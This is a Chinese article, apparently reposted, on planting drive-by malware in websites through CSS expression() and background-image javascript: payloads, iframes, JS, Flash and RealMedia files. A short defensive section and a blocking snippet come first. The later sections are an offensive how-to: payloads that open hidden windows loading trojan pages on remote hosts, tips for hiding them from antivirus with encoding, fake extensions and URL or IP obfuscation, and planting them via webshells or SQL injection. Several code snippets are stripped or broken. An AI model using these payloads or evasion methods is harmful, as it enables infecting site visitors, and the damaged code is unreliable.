随着Web2.0的普及,各种网页特效用得越来越多,这也给黑客一个可乘之机。他们发现,用来制作网页特效的CSS代码,也可以用来挂马。而比较讽刺的是,CSS挂马方式其实是从防范E挂马的CSS代码演变而来。
安天实验室阿楠:安全工程师,从事病毒分析多年。
网站挂马的手段最初非常单一,但是随着Web2.0技术以及Blog、Wiki等广泛的应用,挂马也涌现出各种各样的技术,其中CSS挂马方式,可以说是Web2.0时代黑客的最爱。有许多非常著名的网站都被黑客用CSS挂马入侵过。
在我印象中,记忆最深刻的一次是百度空间CSS挂马。当时,百度空间推出没有多久,就有许多百度用户收到了类似“哈,节日快乐呀!热烈庆祝2008,心情好好,记住要想我!http://hi.baidu.com/XXXXX”的站内消息。
由于网址是百度空间的网址,许多用户认为不会存在安全问题,加上又有可能是自己朋友发来的,因此会毫不犹豫地点击进入。但是进入指定的网址后,用户就会感染蠕虫病毒,并继续传播。
由于蠕虫扩散非常严重,最终导致百度空间不得不发布官方声明提醒用户,并且大费周折地在服务器中清除蠕虫的恶意代码。那一次的挂马事件利用的就是百 度空间CSS模板功能,通过变形的e-xpression在CSS代码中动态执行脚本,让指定的远程恶意代码文件在后台悄悄运行并发送大量伪造信息。
我建议大家在点击陌生链接时,要多个心眼,大网站也是可能被挂马的。大家在上网时,最好还是使用一些带网页木马拦截功能的安全辅助工具。
黑客为什么选择CSS挂马?
在Web1.0时代,使用E挂马对于黑客而言,与其说是为了更好地实现木马的隐藏,倒不如说是无可奈何的一个选择。在简单的HTML网页和缺乏交互性的网站中,黑客可以利用的手段也非常有限,即使采取了复杂的伪装,也很容易被识破,还不如E来得直接和有效。
但如今交互式的Web2.0网站越来越多,允许用户设置与修改的博客、SNS社区等纷纷出现。这些互动性非常强的社区和博客中,往往会提供丰富的功能,并且会允许用户使用CSS层叠样式表来对网站的网页进行自由的修改,这促使了CSS挂马流行。
小百科:
CSS是层叠样式表(CascadingStyleSheets)的英文缩写。CSS最主要的目的是将文件的结构(用HTML或其他相关语言写的)与文件的显示分隔开来。这个分隔可以让文件的可读性得到加强、文件的结构更加灵活。
黑客在利用CSS挂马时,往往是借着网民对某些大网站的信任,将CSS恶意代码挂到博客或者其他支持CSS的网页中,当网民在访问该网页时恶意代码 就会执行。这就如同你去一家知名且证照齐全的大医院看病,你非常信任医院,但是你所看的门诊却已经被庸医外包了下来,并且打着医院的名义利用你的信任成功 欺骗了你。但是当你事后去找人算账时,医院此时也往往一脸无辜。对于安全工程师而言,CSS挂马的排查是必备常识。
CSS挂马攻防实录
攻CSS挂马方式较多,但主流的方式是通过有漏洞的博客或者SNS社交网站系统,将恶意的CSS代码写入支持CSS功能的个性化页面中。下面我们以典型的CSS挂马方式为例进行讲解。
方式1:
Body
“background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式,这段恶意代码主要是通过“background-image”配合t代码让网页木马悄悄地在用户的电脑中运行。
那如何将这段CSS恶意代码挂到正常的网页中去呢?黑客可以将生成好的网页木马放到自己指定的位置,然后将该段恶意代码写入挂马网站的网页中,或者挂马网页所调用的CSS文件中。
小百科:
使用Body对象元素,主要是为了让对象不再改变整个网页文档的内容,通过Body对象的控制,可以将内容或者效果控制在指定的大小内,如同使用DIV对象那样精确地设置大小。
方式2:
Body
background-image: url(t:open(”http://www.X.com/muma.htm“,”newwindow”,”border=”1″ Height=0, Width=0, top=1000, center=0, toolbar=no,menubar=no, scrollbars=no,resizable=no,location=no,status=no”))
方式1的CSS挂马技术,在运行时会出现空白的页面,影响网页访问者正常的访问,因此比较容易发现。不过在方式2中的这段代码,使用了t的Open 开窗,通过新开一个隐藏的窗口,在后台悄悄地运行新窗口并激活访问网页溢出木马页面,不会影响访问者观看网页内容,因此更加隐蔽。
防网络服务器被挂马,通常会出现防病毒软件告警之类的信息。由于漏洞不断更新,挂马种类时刻都在变换,通过客户端的反映来发现服务器是否被挂马往往疏漏较大。正确的做法是经常检查服务器日志,发现异常信息,经常检查网站代码,使用网页木马检测系统,进行排查。
目前除了使用以前的阻断弹出窗口防范CSS挂马之外,还可以在网页中设置CSS过滤,将CSS过滤掉。不过如果你选择过滤CSS的话,首先需要留意自己的相关网页是否有CSS的内容,因此我们仍然首推用阻断方式来防范CSS。阻断代码如下所示:
emiao1:e-xpression(this.src=”about:blank”,this.outerHTML=””);
将外域的木马代码的src重写成本地IE404错误页面的地址,这样,外域的t代码不会被下载。不过阻断方式也有天生致命的弱点,弱点的秘密我们将于下次揭晓。
几种常见CSS挂马代码示例:
网上流行的:
body
{
background-image: url('javascript:document.write(““)')
}
//此方法会使主页不正常.返回一片空白.
用弹窗.
body
{
background-image: url('javascript:open(“http://192.168.0.5/test.htm”)')
}
//弹出一个框.难看 易被发现.
改进一下:
body
{
background-image: url(javascript:open('http://192.168.0.5/test.htm','newwindow','height=0, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no'))
}
test.htm里面的代码,a.js为你的网马,弹出一个不可见的窗口,并在5秒自动后关闭没提示:
a.js内容:
document.write('');
黑客常用的挂马方法及防范
1、挂马的N种方法
(1) HTML挂马法。
常规的HTML挂马方法一般是在网页中插入一条iframe语句,像。查看站点是否被挂,一般是查找一下关键词iframe。
(2) 再隐藏一点的就是js挂马了。
像再原来的网页中写入 ,horse里的js写法一般为 document.write(’http://www.arthack.org/horse.html’>;,或者专业一点的写法是 top.document.body.innerHTML = top.document.body.innerHTML + ‘rn
3) 在 css中挂马。
这个方法就是在css中写入
body {
hytop:expression(top.document.body.innerHTML = top.document.body.innerHTML + ‘rn’);
}
然后在主页中调用这个CSS,代码类似http://www.arthack.org/css.css” rel=”stylesheet” type=”text/css”>这样的。在csdn 中对expression的解释是:IE5及其以后版本支持在CSS中使用expression,用来吧CSS属性和javascript表达式关联起来,这里的CSS属性可以是元素固有的属性,也可以是自定义属性。也就是说CSS属性后面可以是一段Javasccript表达式,CSS属性的值等于 javascript表达式计算的结果。在表达式中可以是直接一用元素自身的属性和方法,也可以使用其它浏览器对象。这个表达式就好像是在这个元素的一个成员函数中一样。整个解释关键点是expression可以在css中引入js语句,所以我们可用于挂马。不过写的语句值可以远程调用,本地不可以。
(4) 在swf中挂马
网上有一些swf挂马的工具,可以用工具替换原来网页中的swf或单独把swf发给对方,一可以单独作一个可显示swf页的网页。在网页中插入swf的语法一般格式为:
(5) 在影音文件中挂马。
所需工具是RealMedia Editor,打开工具后,然后依次选择”文件”-”打开Real媒体文件”,然后选择需要编辑的视频文件,其格式必须是RealOne公司的以RM或 RMVB为扩展名的文件。接着,新建一个文本,在里面输入u 00:00:10:0 00:00:30.0&&_rpexternal& http://www.arthack.org/horse.htm (00:00:10.0就是发生第一事件的时间,这里是让计算机弹出网页;00:00:30.0同样,这是第二次发生的时间,在0时0分第30秒0微妙时弹出窗口;而后面的URL地址就是连接指定的木马地址。)
输入完毕后并保存,然后依次选择”工具”-”合并事件”,导入刚才的文本。当合并完成后,依次选择”文本”-”Real文件另存为”,保存好即可。
最后把生成的视频文件发布网上,当对方观看同时就会连接到你指定的木马地址
2、挂马的技巧
挂马首先要求的是隐蔽性,这样挂的时间才能长。像在SWF、JS、RM中挂马就是比较隐蔽了,但是还可再用到些技巧。
(1)远程任意后缀执行HTML
可以把horse.html改成horse.jpg之类的后缀,然后语句写成
2)JS的加密
为了保护网页木马的代码,可以把JS内容加密,还能躲开杀软的作用。如果使用ENCODE加密方式,加密后的JS调用语句就用
(3)URL的变形
URL的变形方法也有很多,例如将url的16进制转换为encod编码等。如果是涉及到URL欺骗的方法就更多了,不过多数的URL欺骗,像利用@的技巧,IE都已经打补丁了。但现在有个漏洞仍然有效,代码如下:
保存该代码为网页后,鼠标移动到Google这个链接上时,IE状态栏显示的http://www.google.cn,但点击链接后却打开 http://www.arthack.org网站。如果你的网马可以用IP地址访问到的话,IP地址也可以进行转换的。像127.0.0.1这样的IP 还可以 变为 2130706433、0×7f.0×00.0×00.0×01、0177.0000.0000.0001等等,这只不过是8进制、10进制、16进制、的转换而已。
3、如何才能挂到马
拿到了webshell的话,挂马自然是很简单了。但是拿不到的情况下,如果注入点有update权限,我们可以仔细查找首页中的某条新闻的调用链接,然后update数据库达到我们的目的。如果可进入后台,我没就可以在一些发公告的地方写入自己的木马代码(不过千万别打乱前台html源文件里的代码逻辑)。